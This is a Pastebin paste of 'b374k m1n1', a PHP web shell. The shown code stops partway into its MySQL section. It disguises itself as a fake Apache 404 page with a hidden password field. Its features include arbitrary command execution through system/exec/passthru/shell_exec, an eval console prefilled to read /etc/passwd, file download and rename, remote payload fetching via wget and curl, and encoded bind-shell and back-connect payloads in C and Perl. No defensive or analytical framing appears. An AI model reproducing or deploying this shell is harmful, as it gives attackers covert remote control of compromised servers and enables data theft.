API tools faq
paste
bl4ck4ng3l

b374k m1n1

bl4ck4ng3l
Jan 4th, 2013
228
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 45.21 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. session_start();
  3. if(!isset($_SESSION['timezone']))
  4. {
  5.     if(!isset($_REQUEST['error']))
  6.     {
  7.     ?>
  8.     <script>
  9.     var d = new Date()
  10.     var offset= -d.getTimezoneOffset()/60;
  11.     location.href = "<?php echo $_SERVER['PHP_SELF']; ?>?error="+error;
  12.     </script>
  13.     <?php  
  14.     }
  15.     else
  16.     {
  17.         $zonelist = array('Kwajalein' => -12.00, 'Pacific/Midway' => -11.00, 'Pacific/Honolulu' => -10.00, 'America/Anchorage' => -9.00, 'America/Los_Angeles' => -8.00, 'America/Denver' => -7.00, 'America/Tegucigalpa' => -6.00, 'America/New_York' => -5.00, 'America/Caracas' => -4.30, 'America/Halifax' => -4.00, 'America/St_Johns' => -3.30, 'America/Argentina/Buenos_Aires' => -3.00, 'America/Sao_Paulo' => -3.00, 'Atlantic/South_Georgia' => -2.00, 'Atlantic/Azores' => -1.00, 'Europe/Dublin' => 0, 'Europe/Belgrade' => 1.00, 'Europe/Minsk' => 2.00, 'Asia/Kuwait' => 3.00, 'Asia/Tehran' => 3.30, 'Asia/Muscat' => 4.00, 'Asia/Yekaterinburg' => 5.00, 'Asia/Kolkata' => 5.30, 'Asia/Katmandu' => 5.45, 'Asia/Dhaka' => 6.00, 'Asia/Rangoon' => 6.30, 'Asia/Krasnoyarsk' => 7.00, 'Asia/Brunei' => 8.00, 'Asia/Seoul' => 9.00, 'Australia/Darwin' => 9.30, 'Australia/Canberra' => 10.00, 'Asia/Magadan' => 11.00, 'Pacific/Fiji' => 12.00, 'Pacific/Tongatapu' => 13.00);
  18.         $index = array_keys($zonelist, $_REQUEST['error']);
  19.         $_SESSION['timezone'] = $index[0];
  20.     }
  21. }
  22. date_default_timezone_set($_SESSION['timezone']);
  23.  
  24. @set_time_limit(0);
  25. @error_reporting(0);
  26.  
  27. @$pass = md5(trim($_POST['pass']));
  28. $chk_login = 1;
  29. $password = "2a9d796c60cc4002fcb1fdbbbb5bd24a";
  30.  
  31. if($pass == $password)
  32. {
  33. $_SESSION['ses'] = "$pass";
  34. }
  35.  
  36. if($chk_login)
  37. {
  38. if(!isset($_SESSION['ses']) or $_SESSION['ses'] != $password)
  39. {
  40. die("
  41.  
  42.  
  43. <title>404 Not Found</title>
  44. <h1>Not Found</h1>
  45. <p>The requested URL was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
  46. <hr>
  47. <address>Apache Server at ".$_SERVER["HTTP_HOST"]." Port 80 </address>
  48. <style>
  49. input { margin:0;background-color:#fff;border:1px solid #fff; }
  50. </style>
  51. <center>
  52. <form method=post>
  53. <br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
  54.  
  55. <input type=password name=pass>
  56. </form></center>
  57.  
  58.  
  59.  
  60.  
  61. ");
  62. }
  63. }
  64.  
  65.  
  66. // php setting
  67. // download file
  68. if(isset($_GET['dl']) && ($_GET['dl'] != "")){
  69.     $file = $_GET['dl'];
  70.     $filez = @file_get_contents($file);
  71.    header("Content-type: application/octet-stream");
  72.    header("Content-length: ".strlen($filez));
  73.    header("Content-disposition: attachment; filename=\"".basename($file)."\";");
  74.    echo $filez;
  75.     exit;
  76. }
  77. elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
  78.     $file = $_GET['dlgzip'];
  79.     $filez = gzencode(@file_get_contents($file));
  80.    header("Content-Type:application/x-gzip\n");
  81.    header("Content-length: ".strlen($filez));
  82.    header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
  83.    echo $filez;
  84.     exit;
  85. }
  86. // view image
  87. if(isset($_GET['img'])){
  88.         @ob_clean();
  89.         $d = magicboom($_GET['y']);
  90.         $f = $_GET['img'];
  91.         $inf = @getimagesize($d.$f);
  92.         $ext = explode($f,".");
  93.         $ext = $ext[count($ext)-1];
  94.         @header("Content-type: ".$inf["mime"]);
  95.         @header("Cache-control: public");
  96.         @header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  97.         @header("Cache-control: max-age=".(60*60*24*7));  
  98.         @readfile($d.$f);
  99.         exit;
  100. }
  101.  
  102. // server software
  103. $software = getenv("SERVER_SOFTWARE");
  104. // check safemode
  105. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")  $safemode = TRUE; else $safemode = FALSE;
  106. // uname -a
  107. $system = @php_uname();
  108. // check os
  109. if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
  110. else $win = FALSE;
  111. // change directory
  112. if(isset($_GET['y'])){
  113.     if(@is_dir($_GET['view'])){
  114.         $pwd = $_GET['view'];
  115.         @chdir($pwd);
  116.     }
  117.     else{
  118.         $pwd = $_GET['y'];
  119.         @chdir($pwd);
  120.     }
  121. }
  122. // username, id, shell prompt and working directory
  123. if(!$win){
  124.     if(!$user = rapih(exe("whoami"))) $user = "";
  125.     if(!$id = rapih(exe("id"))) $id = "";
  126.     $prompt = $user." \$ ";
  127.     $pwd = @getcwd().DIRECTORY_SEPARATOR;
  128. }
  129. else {
  130.     $user = @get_current_user();
  131.     $id = $user;
  132.     $prompt = $user." &gt;";
  133.     $pwd = realpath(".")."\\";
  134.     // find drive letters
  135.     $v = explode("\\",$d);
  136.     $v = $v[0];
  137.     foreach (range("A","Z") as $letter)
  138.     {
  139.       $bool = @is_dir($letter.":\\");
  140.       if ($bool)
  141.       {
  142.           $letters .= "<a href=\"?y=".$letter.":\\\">[ ";
  143.            if ($letter.":" != $v) {$letters .= $letter;}
  144.            else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
  145.            $letters .= " ]</a> ";
  146.       }  
  147.  }
  148. }
  149. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
  150. else $posix = FALSE;
  151. // server ip
  152. $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
  153. // your ip ;-)
  154. $my_ip = $_SERVER['REMOTE_ADDR'];
  155. $bindport = "13123";
  156. $bindport_pass = "b374k";
  157.  
  158. // separate the working direcotory
  159. $pwds = explode(DIRECTORY_SEPARATOR,$pwd);
  160. $pwdurl = "";
  161. for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
  162.     $pathz = "";
  163.     for($j = 0 ; $j <= $i ; $j++){
  164.         $pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
  165.     }
  166.     $pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
  167. }
  168.    
  169. // rename file or folder
  170. if(isset($_POST['rename'])){
  171.     $old = $_POST['oldname'];
  172.     $new = $_POST['newname'];
  173.     @rename($pwd.$old,$pwd.$new);
  174.     $file = $pwd.$new;
  175. }
  176.  
  177.  
  178.  
  179. // print useful info
  180. $buff  = $software."<br />";
  181. $buff .= $system."<br />";
  182. if($id != "") $buff .= $id."<br />";
  183. $buff .= "server ip : ".$server_ip." <span class=\"gaya\">|</span> your   ip : ".$my_ip."<br />";
  184. if($safemode) $buff .= "safemode <span class=\"gaya\">ON</span><br />";
  185. else $buff .= "safemode <span class=\"gaya\">OFF<span><br />";
  186. $buff .= $letters."&nbsp;&gt;&nbsp;".$pwdurl;
  187.  
  188.  
  189.  
  190.  
  191. function rapih($text){
  192.     return trim(str_replace("<br />","",$text));
  193. }
  194.  
  195. function magicboom($text){
  196.     if (!get_magic_quotes_gpc()) {
  197.          return $text;
  198.     }
  199.     return stripslashes($text);
  200. }
  201.  
  202. function showdir($pwd,$prompt){
  203.     $fname = array();
  204.     $dname = array();
  205.     if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
  206.     else $posix = FALSE;
  207.     $user = "????:????";
  208.     if($dh = @scandir($pwd)){
  209.         foreach($dh as $file){
  210.             if(is_dir($file)){
  211.                 $dname[] = $file;
  212.             }
  213.             elseif(is_file($file)){
  214.                 $fname[] = $file;
  215.             }
  216.         }
  217.     }
  218.     else{
  219.         if($dh = @opendir($pwd)){
  220.             while($file = @readdir($dh)){
  221.                 if(@is_dir($file)){
  222.                     $dname[] = $file;
  223.                 }
  224.                 elseif(@is_file($file)){
  225.                     $fname[] = $file;
  226.                 }
  227.             }
  228.             @closedir($dh);
  229.         }
  230.     }
  231.  
  232.    
  233.     sort($fname);
  234.     sort($dname);
  235.     $path = @explode(DIRECTORY_SEPARATOR,$pwd);
  236.     $tree = @sizeof($path);
  237.     $parent = "";
  238.     $buff = "
  239.     <form action=\"?y=".$pwd."&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
  240.     <table class=\"cmdbox\" style=\"width:50%;\">
  241.     <tr><td>$prompt</td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
  242.     </form>
  243.     <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
  244.     <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  245.     <tr><td>view file/folder</td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
  246.     </form></table><table class=\"explore\">
  247.     <tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
  248.     ";
  249.     if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
  250.     else $parent = $pwd;  
  251.  
  252.     foreach($dname as $folder){
  253.         if($folder == ".") {
  254.             if(!$win && $posix){
  255.                 $name=@posix_getpwuid(@fileowner($folder));
  256.                 $group=@posix_getgrgid(@filegroup($folder));
  257.                 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  258.             }
  259.             else {
  260.                 $owner = $user;
  261.             }
  262.             $buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($pwd)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\"><a href=\"?y=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
  263.             <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  264.             <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  265.             <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
  266.             <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
  267.             </form></td></tr>
  268.             ";
  269.         }
  270.         elseif($folder == "..") {
  271.             if(!$win && $posix){
  272.                 $name=@posix_getpwuid(@fileowner($folder));
  273.                 $group=@posix_getgrgid(@filegroup($folder));
  274.                 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  275.             }
  276.             else {
  277.                 $owner = $user;
  278.             }
  279.             $buff .= "<tr><td><a href=\"?y=".$parent."\">$folder</a></td><td>LINK</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($parent)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td><td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
  280.             <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  281.             <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  282.             <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
  283.             <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
  284.             </form>
  285.             </td></tr>";
  286.         }
  287.         else {
  288.             if(!$win && $posix){
  289.                 $name=@posix_getpwuid(@fileowner($folder));
  290.                 $group=@posix_getgrgid(@filegroup($folder));
  291.                 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  292.             }
  293.             else {
  294.                 $owner = $user;
  295.             }
  296.             $buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\">[ $folder ]</a>
  297.             <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  298.             <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
  299.             <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
  300.             <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  301.             <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
  302.             </form>
  303.             <td>DIR</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($pwd.$folder)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">delete</a></td></tr>";
  304.         }
  305.     }
  306.  
  307.     foreach($fname as $file){
  308.         $full = $pwd.$file;
  309.         if(!$win && $posix){
  310.             $name=@posix_getpwuid(@fileowner($folder));
  311.             $group=@posix_getgrgid(@filegroup($folder));
  312.             $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  313.         }
  314.         else {
  315.             $owner = $user;
  316.         }      
  317.         $buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\">$file</a>
  318.         <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  319.         <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
  320.         <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
  321.         <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  322.         <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
  323.         </form>
  324.         </td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($full)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
  325.         <td><a href=\"?y=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$full\">delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>";
  326.     }
  327.     $buff .= "</table>";
  328.     return $buff;
  329. }
  330.  
  331. function ukuran($file){
  332.     if($size = @filesize($file)){
  333.         if($size <= 1024) return $size;
  334.         else{
  335.             if($size <= 1024*1024) {
  336.                 $size = @round($size / 1024,2);;
  337.                 return "$size kb";
  338.             }
  339.             else {
  340.                 $size = @round($size / 1024 / 1024,2);
  341.                 return "$size mb"; 
  342.             }
  343.         }
  344.     }
  345.     else return "???";
  346. }
  347.  
  348. function exe($cmd){
  349.     if(function_exists('system')) {
  350.         @ob_start();
  351.         @system($cmd);
  352.         $buff = @ob_get_contents();
  353.         @ob_end_clean();
  354.         return $buff;
  355.     }
  356.     elseif(function_exists('exec')) {
  357.         @exec($cmd,$results);
  358.         $buff = "";
  359.         foreach($results as $result){
  360.             $buff .= $result;
  361.         }
  362.         return $buff;
  363.     }
  364.     elseif(function_exists('passthru')) {
  365.         @ob_start();
  366.         @passthru($cmd);
  367.         $buff = @ob_get_contents();
  368.         @ob_end_clean();
  369.         return $buff;
  370.     }
  371.     elseif(function_exists('shell_exec')){
  372.         $buff = @shell_exec($cmd);
  373.         return $buff;
  374.     }
  375. }
  376.  
  377. function tulis($file,$text){
  378.     $textz = gzinflate(base64_decode($text));
  379.      if($filez = @fopen($file,"w"))
  380.      {
  381.          @fputs($filez,$textz);
  382.          @fclose($file);
  383.      }
  384. }
  385.  
  386. function ambil($link,$file) {
  387.    if($fp = @fopen($link,"r")){
  388.        while(!feof($fp)) {
  389.             $cont.= @fread($fp,1024);
  390.         }
  391.         @fclose($fp);
  392.        $fp2 = @fopen($file,"w");
  393.        @fwrite($fp2,$cont);
  394.        @fclose($fp2);
  395.    }
  396. }
  397.  
  398. function which($pr){
  399.     $path = exe("which $pr");
  400.     if(!empty($path)) { return trim($path); } else { return trim($pr); }
  401. }
  402.  
  403. function download($cmd,$url){
  404.     $namafile = basename($url);
  405.     switch($cmd) {
  406.         case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
  407.         case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
  408.         case 'wfread' : ambil($wurl,$namafile);break;
  409.         case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
  410.         case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
  411.         case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
  412.         case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
  413.         default: break;
  414.     }
  415.     return $namafile;
  416. }
  417.  
  418. function get_perms($file)
  419. {
  420.     if($mode=@fileperms($file)){
  421.         $perms='';
  422.         $perms .= ($mode & 00400) ? 'r' : '-';
  423.         $perms .= ($mode & 00200) ? 'w' : '-';
  424.         $perms .= ($mode & 00100) ? 'x' : '-';
  425.         $perms .= ($mode & 00040) ? 'r' : '-';
  426.         $perms .= ($mode & 00020) ? 'w' : '-';
  427.         $perms .= ($mode & 00010) ? 'x' : '-';
  428.         $perms .= ($mode & 00004) ? 'r' : '-';
  429.         $perms .= ($mode & 00002) ? 'w' : '-';
  430.         $perms .= ($mode & 00001) ? 'x' : '-';
  431.         return $perms;
  432.     }
  433.     else return "??????????";
  434. }
  435.  
  436. function clearspace($text){
  437.     return str_replace(" ","_",$text);
  438. }
  439.  
  440. // net tools
  441. $port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
  442. +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
  443. P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
  444. dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
  445. 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
  446. Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
  447. HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
  448. tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
  449. ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
  450. uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
  451. $port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
  452. NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
  453. tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
  454. e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
  455. LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
  456. vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
  457. +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
  458. $back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
  459. ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
  460. S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
  461. ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
  462. Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
  463. $back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
  464. BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
  465. zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
  466. i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
  467. RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
  468. jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
  469. 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
  470. ?>
  471. <html><head><title>:: b374k m1n1 1.01 ::</title>
  472. <script type="text/javascript">
  473. function tukar(lama,baru){
  474.     document.getElementById(lama).style.display = 'none';
  475.     document.getElementById(baru).style.display = 'block';
  476. }
  477. </script>
  478. <style type="text/css">
  479. body{
  480.     background:#000000;;
  481. }
  482. a {
  483. text-decoration:none;
  484. }
  485. a:hover{
  486. border-bottom:1px solid #4C83AF;
  487. }
  488. *{
  489.     font-size:11px;
  490.     font-family:Tahoma,Verdana,Arial;
  491.     color:#FFFFFF;
  492. }
  493. #menu{
  494.     background:#111111;
  495.     margin:8px 2px 4px 2px;
  496. }
  497. #menu a{
  498.     padding:4px 18px;
  499.     margin:0;
  500.     background:#222222;
  501.     text-decoration:none;
  502.     letter-spacing:2px;
  503. }
  504. #menu a:hover{
  505.     background:#191919;
  506.     border-bottom:1px solid #333333;
  507.     border-top:1px solid #333333;
  508. }
  509. .tabnet{
  510.     margin:15px auto 0 auto;
  511.     border: 1px solid #333333;
  512. }
  513. .main {
  514.     width:100%;
  515. }
  516. .gaya {
  517.     color: #4C83AF;
  518. }
  519. .inputz{
  520.     background:#111111;
  521.     border:0;
  522.     padding:2px;
  523.     border-bottom:1px solid #222222;
  524.     border-top:1px solid #222222;
  525. }
  526. .inputzbut{
  527.     background:#111111;
  528.     color:#4C83AF;
  529.     margin:0 4px;
  530.     border:1px solid #444444;
  531.  
  532. }
  533. .inputz:hover, .inputzbut:hover{
  534.     border-bottom:1px solid #4C83AF;
  535.     border-top:1px solid #4C83AF;
  536. }
  537. .output {
  538.     margin:auto;
  539.     border:1px solid #4C83AF;
  540.     width:100%;
  541.     height:400px;
  542.     background:#000000;
  543.     padding:0 2px;
  544. }
  545. .cmdbox{
  546.     width:100%;
  547. }
  548. .head_info{
  549.     padding: 0 4px;
  550. }
  551. .b374k{
  552.     font-size:30px;
  553.     padding:0;
  554.     color:#444444;
  555. }
  556. .b374k1{
  557.     font-size:30px;
  558.     padding:0;
  559.     color: #333333;
  560. }
  561. .b374k_tbl{
  562.     text-align:center;
  563.     margin:0 4px 0 0;
  564.     padding:0 4px 0 0;
  565.     border-right:1px solid #333333;
  566. }
  567. .phpinfo table{
  568.     width:100%;
  569.     padding:0 0 0 0;
  570. }
  571. .phpinfo td{
  572.     background:#111111;
  573.     color:#cccccc;
  574. padding:6px 8px;;
  575. }
  576. .phpinfo th, th{
  577.     background:#191919;
  578.     border-bottom:1px solid #333333;
  579. font-weight:normal;
  580. }
  581. .phpinfo h2, .phpinfo h2 a{
  582.     text-align:center;
  583.     font-size:16px;
  584.     padding:0;
  585.     margin:30px 0 0 0;
  586.     background:#222222;
  587.     padding:4px 0;
  588. }
  589. .explore{
  590. width:100%;
  591. }
  592. .explore a {
  593. text-decoration:none;
  594. }
  595. .explore td{
  596. border-bottom:1px solid #333333;
  597. padding:0 8px;
  598. line-height:24px;
  599. }
  600. .explore th{
  601. padding:3px 8px;
  602. font-weight:normal;
  603. }
  604. .explore th:hover , .phpinfo th:hover{
  605. border-bottom:1px solid #4C83AF;
  606. }
  607. .explore tr:hover{
  608. background:#111111;
  609. }
  610. .viewfile{
  611. background:#EDECEB;
  612. color:#000000;
  613. margin:4px 2px;
  614. padding:8px;
  615. }
  616. .sembunyi{
  617. display:none;
  618. padding:0;margin:0;
  619. }
  620.  
  621. </style>
  622. </head>
  623. <body onLoad="document.getElementById('cmd').focus();">
  624. <div class="main">
  625. <!-- head info start here -->
  626. <div class="head_info">
  627. <table><tr>
  628. <td><table class="b374k_tbl"><tr><td><a href="?"><span class="b374k">b<span class="b374k1">374</span>k</span></a></td></tr><tr><td>m1n1 1.01</td></tr></table></td>
  629. <td><?php echo $buff; ?></td>
  630. </tr></table>
  631. </div>
  632. <!-- head info end here -->
  633. <!-- menu start -->
  634. <div id="menu">
  635. <a href="?<?php echo "y=".$pwd; ?>">explore</a>
  636. <a href="?<?php echo "y=".$pwd; ?>&amp;x=shell">shell</a>
  637. <a href="?<?php echo "y=".$pwd; ?>&amp;x=php">eval</a>
  638. <a href="?<?php echo "y=".$pwd; ?>&amp;x=mysql">mysql</a>
  639. <a href="?<?php echo "y=".$pwd; ?>&amp;x=phpinfo">phpinfo</a>
  640. <a href="?<?php echo "y=".$pwd; ?>&amp;x=netsploit">netsploit</a>
  641. <a href="?<?php echo "y=".$pwd; ?>&amp;x=upload">upload</a>
  642. <a href="?<?php echo "y=".$pwd; ?>&amp;x=mail">mail</a>
  643. </div>
  644. <!-- menu end -->
  645.  
  646. <?php if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
  647. <form action="?y=<?php echo $pwd; ?>&amp;x=php" method="post">
  648. <table class="cmdbox">
  649. <tr><td>
  650. <textarea class="output" name="cmd" id="cmd">
  651. <?php
  652. if(isset($_POST['submitcmd'])) {
  653.     echo eval(magicboom($_POST['cmd']));
  654. }
  655. else echo "echo file_get_contents('/etc/passwd');";
  656. ?>
  657. </textarea>
  658. <tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
  659. </table>
  660. </form>
  661.  
  662. <?php }
  663. elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){
  664. if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])){
  665.     $sqlhost = $_GET['sqlhost'];
  666.     $sqluser = $_GET['sqluser'];
  667.     $sqlpass = $_GET['sqlpass'];
  668.     $sqlport = $_GET['sqlport'];
  669.     if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){
  670.         // show mysql info
  671.         $msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
  672.         $msg .= "<p>Connected to ".$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport;
  673.         $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;\">[ databases ]</a>";
  674.         if(isset($_GET['db'])) $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>";
